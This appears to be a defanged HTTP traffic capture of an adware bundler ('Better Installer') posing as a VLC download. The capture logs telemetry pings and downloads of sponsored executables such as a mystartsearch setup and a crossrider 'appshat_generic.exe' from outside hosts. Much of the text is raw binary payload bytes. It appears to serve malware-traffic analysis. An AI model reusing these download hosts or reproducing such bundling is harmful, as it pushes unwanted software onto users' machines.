R.w`.d_...0.L/..F.q` j......y.5L....Zp*....#w0.%....]..:T..W...l.4.1U.
,.W~.q0.=XO.z'..f.,/e..K..P".F.e..^..9..S...1..1..J.. .4....WW....K..I
..x......\[email protected]]...tj..3w$...cA... XD..F.a.......3...?..41.!.w}..T 
8...vj..(.....q.P...........S^r.......A..X.e.K=J.5,o..0..Q.|=.v..l....
....j..';...B..$..-....$Z.R.L.OB.tL/:....t..g[..:A......i..4o[e8..3grr
..SJI...2...\YW..j3.^J%.................x.?.6...){...o..V.c.........@h
i.8.=..jR....]....x^.`.<..7........y1..8...YT...iLm}..Ye7T. X..d..T
 L Ui.....q}........#....elF.........m.6-..[./.-.x[{5 ....,.<....b.
e..aK\].VWMZ....{.x(....O........p..[[email protected].)..x...Fk......4.Z.i p.
7..`>.o.Z..O*<.c.....i.f...fk.g....J..a..y.....c_.X..%..4.Gz.M$.
...j5oe.0......$T~..}....0FtC].`-...Z.O..V.:Z..54o.4...oI...... .) ..6
*...Y.1......B..-._..{r..1]F.....f..|8..u.OY...38..}5.c.`.. ....`.<<< skipped >>>

GET /r/__utm.gif?utmwv=5.6.2&utms=1&utmn=1844808200&utmhn=bi.bisrv.com&utmhid=114691349&utmr=-&utmp=Installer_Init&utmht=1423621777750&utmac=UA-31676879-1&utmcc=__utma=1.1387656045.1423621778.1423621778.1423621778.1;+__utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=1665450451&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Wed, 11 Feb 2015 02:29:35 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.02

GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Wed, 11 Feb 2015 02:29:35 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.02..GIF89a.......
......,...........D..;..

GET /ajax/libs/jqueryui/1.10.3/jquery-ui.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Tue, 07 May 2013 09:09:49 GMT

Date: Fri, 23 Jan 2015 09:49:04 GMT

Expires: Sat, 23 Jan 2016 09:49:04 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 60666

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Age: 1615354

Alternate-Protocol: 80:quic,p=0.02
............kw...0.}...$.0.)r&.&.!..x..Y..{.N....!["..`.p......K......
......{WwWWU......_..N4.N.......l2.N..............=9Yw.6;?.......,.[H.
.Znv .f'.1..FL...V..ru#:/....~.US...o6..z...7.-..Ho.F,.PF.....5....%Le
U.....j..v#:..7...._.........(.M}.......V.Y..Z.g0^n.m8.A......z5..u1.S
o....o.....P...m...:..........oCY.rh.]ST.u.....yI..-..ro....Y.....^{..
..z...Z?..7........C. .S.......{`L'E.:...hN.u.5%...i/N.*..j..../_.<
9....6....T$w....EZ&wo...J..H.\L*X.o.[.c..~'..E ..........E..y3. (....
....u^M*.......gg..Yt[l.t5..<....... 8.P8.E4.G."J......8;k."I..Y...
e..u{>..N..p8{>`..._!.|.....d~*.0.x.WY$..c....L.i..44....y.M..4.
.r.....-.....gg.....o.dR.V.(..._\..[.....JT8.n.l..[.m.Q....>D.!.lDu
........y..]9.W..V._._t.=r.g..;.8.NT..S...0H.1..OG..........._....=..2
.].....~..~....._.|.2..o.......7...7.e.>.?.^~..../.x.......O.......
.._...U....o...w.?{......T.~...._?.*...:........2S)....T........}.gH..
J....x..... ...w....k..........=K.{......~?M...?....>.i>{..z....
)........ ....z.k3.Df.uR..z........u....>)..t.Q,..2......Z..*oE....
.e..8I[.x..h..}p..I&&.v.....hnv.....!..SM..l...;.y...<.8.D$.8;;....
.r....} .y8h...#...$.......]'..c...?...c..^5........u...q.x..y...5l..M
..JF........>.4..x.d.....h.s.......Hb.. ...I`....|Y..{.%....qy.."Q.
M7..#.x.P......nb.Km..A...4.\....t..fU...Q...h.8R..h...#...7M.>`..2
..h..U...8.t..9-.o.o...N..*Q...j...1N.2uzHwU........'.3L..j....<b..
.NF..V..6..V...l....\...w2...w].W../.FW....t.e.".........K....b......(
zSI...R.. <..[[email protected])pj"...)y1a.....W..]...<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=2&index_in_screen=1&index_in_session=2&0.5419537246707162 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmc=1; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:29:57 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:29:57 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.regok HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 11 Feb 2015 02:30:48 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.71 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 11 Feb 20
15 02:30:48 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.71 ms","message":"store 1 ac
tion and 0 update "}..0......

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.nt.ff.tab HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 11 Feb 2015 02:30:54 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.87 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 11 Feb 20
15 02:30:54 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.87 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=mystartsearch&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.9178325560615432 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmc=1; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:29:57 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:29:57 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /ajax/libs/jquery/1.7.2/jquery.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Thu, 29 Mar 2012 18:19:50 GMT

Date: Tue, 03 Feb 2015 12:16:29 GMT

Expires: Wed, 03 Feb 2016 12:16:29 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 33673

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Age: 656109

Alternate-Protocol: 80:quic,p=0.02
...............F.?..<E..).b..(.........v..i.......E.,^"Y*.E......m|
#2...,.g...n.q$....;..v.f.y.o>.}...W....=.z.jq.77.Mq9/.|....^..?.[.
.r..c.....,.....&..m.g.^...\f.{z8....\e..O.<..?..^.O....oe~....u...
;."...U.w.....t6.....xs.Di/Ye.T.M|....]......:_foW~..<.z.v.{Y.]..O^
0.z.|......*DO..j.{.=_{.Cz....-U.n.x..=.../. '.x.{.Jo{|..j....n..l7..4
/.....T.{.rZ.3........C.jU..<..p.......'.V....e.J........?.m....fG.
..{......P.....t..?.B.X....k..s.c.K..-.".pS.n..P.6...:.Y.T5.4\.W;...U.
.44....;..,e.=...^..S?]c.i.C..O.h......_.....GK5.M..8....4.4.E..Q.<
...m.{[.....O.....=.lI..8....n....2.?.{/.....?&....}_...v5.....w..}..G
..w4.....l.V.......i.mw..&4Yi.@[&..........i.>.S%..aA0..fQ.hK..pP..
....<_......(.]..\-.R..z0Ym."....rPt........o.g..zM..!.P...p...Mi.l
w.rYx..|4..V.......0F..|4....<....1..-..S/....|Nx...;........".w.3.
{..Q>Z.i....x.Ut...:Jx. .3..f..G@Z.:.y..g4\j.v..B..]>...c...[.. 
z......\...:\.%.p...AB{[email protected].{?..d.[..dC....h...!X.V.w.[Q..
...:.h9\.i...........1.Ae.yr.W.........M.]..k...y...c.y.J.P..O..G....i
AJZ.{[email protected].}0.........^......&..5.....`.F.Y....<.......
....@[email protected]..`......V....78M.X yM.b.x(u....Q..f.l...f....E....
3.#..l.l...`1Y.t.N...M...o..ZR!.D.<..}.JFJ.bF..A.z.....z3.a....x.D.
..S9.D....N.n..j1...)f...$..?.z.Q>.....Q.3.'.n..P....x..|..v.....&l
t;...F..~..M.eh)..Q6..x..]..O.......G(@..N.H.... .Ip../.pjz....h.....t
UD..V.h2..........].Y4.N5........7j.}...3. [email protected]..}n4Pz..5.....h&
gt;...$...X0....U..S...u;...BV.A._ F.P.........T.F.6..I..b.%*..:..<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=160841-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1125887

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT

Accept-Ranges: bytes

ETag: "da4bdcc41345d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 11 Feb 2015 02:30:25 GMT

Content-Range: bytes 160841-1286727/1286728

X-Cache: Miss from cloudfront

Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pLz7CW1VAqAs7oV2T63zBIS2AzLBCCLr7dos2kYKCC2MNslTBOnHiw==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 1125887..Connection: keep-alive..Cache-Control: no-cac
he..Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT..Accept-Ranges: bytes
..ETag: "da4bdcc41345d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: 
ASP.NET..Date: Wed, 11 Feb 2015 02:30:25 GMT..Content-Range: bytes 160
841-1286727/1286728..X-Cache: Miss from cloudfront..Via: 1.1 8813babdd
85ca691e150294142d51c61.cloudfront.net (CloudFront)..X-Amz-Cf-Id: pLz7
CW1VAqAs7oV2T63zBIS2AzLBCCLr7dos2kYKCC2MNslTBOnHiw==..%,.......^......
.Q..<.;A..3]('....gm.'.$i..r>..1a......b...j ..k..F.,..G.. .}.:.
.C..G..)..),.m.E.....81..".,*.....v,S:s`......$.aen...DB8.|....lq....)
.f....A...........8..#.2..e.$.....uJ....).s...b..o....U(...:T.).)x....
J...J..l.....g.V....mv..ek..w.?.r....n....b..G.#(%.....!.M}8....'.....
g..'[email protected]....^......g.n.Y._..6.[I.........H..Y...q...=f 
*8L.....XQ..y......7I..Y.(..ff...:ygb*.........c6!.Y ...!..U..gz.f..\.
.R....t.....M..*.............=..1......$...........s.U........i8BP..4&
gt;\.>.C....V.h!0.W...\...Y...........f*..;....c....P6.b..J.......-
..:3...l....K....S..o...C.u....Lk.%..;.*T.?.....0.....4..XKy..m..b..:.
.}...... ..Uy..R~.....pI......6..q}u)T#...'...I.HTU.F..p.V.s.... 5...a
.H".N.C....*...HV}.z..`r.j.!...V..5....x....;...9....u.....).~.....X..
./..xN...L.A.s.........&;..( F.......}<..cX.8..}[email protected]?I..x]N.J...
.."d.D..sx.:...P.l.qz...-|...lO.jS.h.WX.t.z'..t..D,.....z....4.X......
G#c..W.............i'....G.M.\@M..4.m^.3.3....<.8....T...#4e..3<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=497398, public, no-transform, must-revalidate

Last-Modified: Mon, 9 Feb 2015 20:44:25 GMT

Expires: Mon, 16 Feb 2015 20:44:25 GMT

Date: Wed, 11 Feb 2015 02:34:27 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015020
9204425Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.l$.%t...............20150209204425Z....20150216204425Z0...*.H........
......'.^.M......_.(.~....b^:.[&...z.^.W.<'g.[..N..Y.k...i....U.Kc-
.:B....]#...l.^..S0K.OV.. ..D/&.E?./...~.z....~.E.YA....c.4...~.t.$..X
[email protected]......... .^.....7.t...*T.=1.3..I...n..m.i9.6l.....
!..r..;..8..V...._......t..YE.^9.7...*&_.a......dM.......#0...0...0...
.......<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0...U....Ve
riSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use a
t hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code S
igning 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U....US1.0...
U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms o
f use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Clas
s 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.......
..{(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk....(....
......p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..JA..~QG.d.
}...r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h<.l....
(n..i.....E.....2....^./Y......Y.m...'...hz..y..E..........0...0...U..
..0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisig
n.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp.
 by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U.....
...0... .....0......0"..U....0...0.1.0...U....TGV-B-24710...*.H...<<< skipped >>>

GET /v4/sof-ient/535559167_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.28&update4=chptid,smt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 11 Feb 2015 02:31:33 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.86 ms","message":"store 3 action and 5 upd
ate "}..0......

GET /v4/sof-ient/535559167_198339_B48A115F?action1=install.smt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 11 Feb 2015 02:31:33 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.56 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 11 Feb 20
15 02:31:33 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.56 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /infv3/index/2606/3rd/6.3.76.1518/37f90e7172ce364049fd177205bf4b1d HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inisxriy.com

Connection: Keep-Alive


HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Wed, 11 Feb 2015 02:30:57 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.2.14p1

Location: hXXp://VVV.inisxriy.com/files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip

0......

GET /files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inisxriy.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:58 GMT

Content-Type: application/zip

Content-Length: 444903

Last-Modified: Tue, 10 Feb 2015 04:03:46 GMT

Connection: keep-alive

Accept-Ranges: bytes
PK........v.IF.&".............422.db......~ u.).<...<..A#.<y.
...\Y...7a.....V0YKW.zx....(....N.J8...t.J.-Q..C$....G.!;Q`....;..lOJ?
..........\C..D2..^..^.Y.m.......N..(1...p1...b. 0.....\D...g\.q...}..
[email protected].\a.....hh...;.....]......K.V.....uj.;y9e.EJ.A./.......
..331olX2rPK..........CF.1..T....n......wpm_v20.0.0.1714_0204.exe..Sp,
..?~...m........b..m..m.v....|.v.z~..9. ...g....~.........k9.y....^,..
v..f'F....]..... /.y7*....5Q...Zh?j...5Nd...P,.'.q.N.......V..A.A.....
...bQ.G.e.....?......../.]R..Mf%.q......g.0...... .yIH.r.......y...>
;I_..........T...VY..%QRE._....(......-j..K.Dv........4....N...z...".K
.I.;..$i..........$!3.. .i.!..-.......jy?....g.&...F.LZ9.W.4......y...
E...Et.<00.<.d..V..o..5...-?..(.......B..4.wn...1^.w...V.*.w..s.
...?c....#5....!J..[85T.u%...........dW5;!*.....zQY....8X....c...J.P/.
.......oUh.n.t..'.*d..?.].p/.......O-..y..[Q |...Xv~.....,...........u
..^.Ve.V.l../.2..ef....G(HR.....a....... ..T{}x.....w.-T...........2..
.a.I.rE...a....z........i...]..>N./....a.......9.......i..}t.w.s^..
...w..=.gP.......I.?...HM.....}n..a.........Y-.'/|.zq{.B..s.l.....:...
........E......2.F..]_.!^.i^.......u....k_.../.qj.. 7.K.[.^?..p|.rx)..
.^p.C................t*....:H....m..0,..9P.,x"^D..>....(..j.......y
......-....".1e@....!.b..h.tV.X...D..... ...MB.....wf..O......r.....NB
E..3....&.3.#...]....%.`.&5{Q..R z.z..\{.h....G.\e^_......z....r.HO~K.
.'9|....z.s..S..d. ...2.D^.."..U_.4..l^.V.}A...K..v......B .P....wJ.3{
-...3"......w%.[..:)..s..U..f.B..n\.G.....q.f0).....n.?... ..,.\..<<< skipped >>>

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.hp HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 11 Feb 2015 02:31:12 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.72 ms","message":"store 1 action and 0 upd
ate "}..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=107085-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 178473

Connection: keep-alive

Date: Sun, 08 Feb 2015 06:12:59 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 107085-285557/285558

Age: 2517

X-Cache: Hit from cloudfront

Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: QMoxZbz3wvNpvFedu6fBLBt8Tq35a5XHGUC6KPhtj8-QpkecBMdkQg==
...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].<<< skipped >>>

GET /utility.gif?report=fdata&f=3&c=820&i=20&n=ms_start_download&rnd=21455 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Wed, 11 Feb 2015 02:31:29 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.finish HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 11 Feb 2015 02:30:55 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.56 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 11 Feb 20
15 02:30:55 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.56 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=5657590-11315180

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 11 Feb 2015 02:29:35 GMT

Content-Type: application/octet-stream

Content-Length: 5657591

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 5657590-11315180/22630361
B][email protected]...$...........Z.j.v..U.l.....KR......l....EYM...[....#.Ca..~
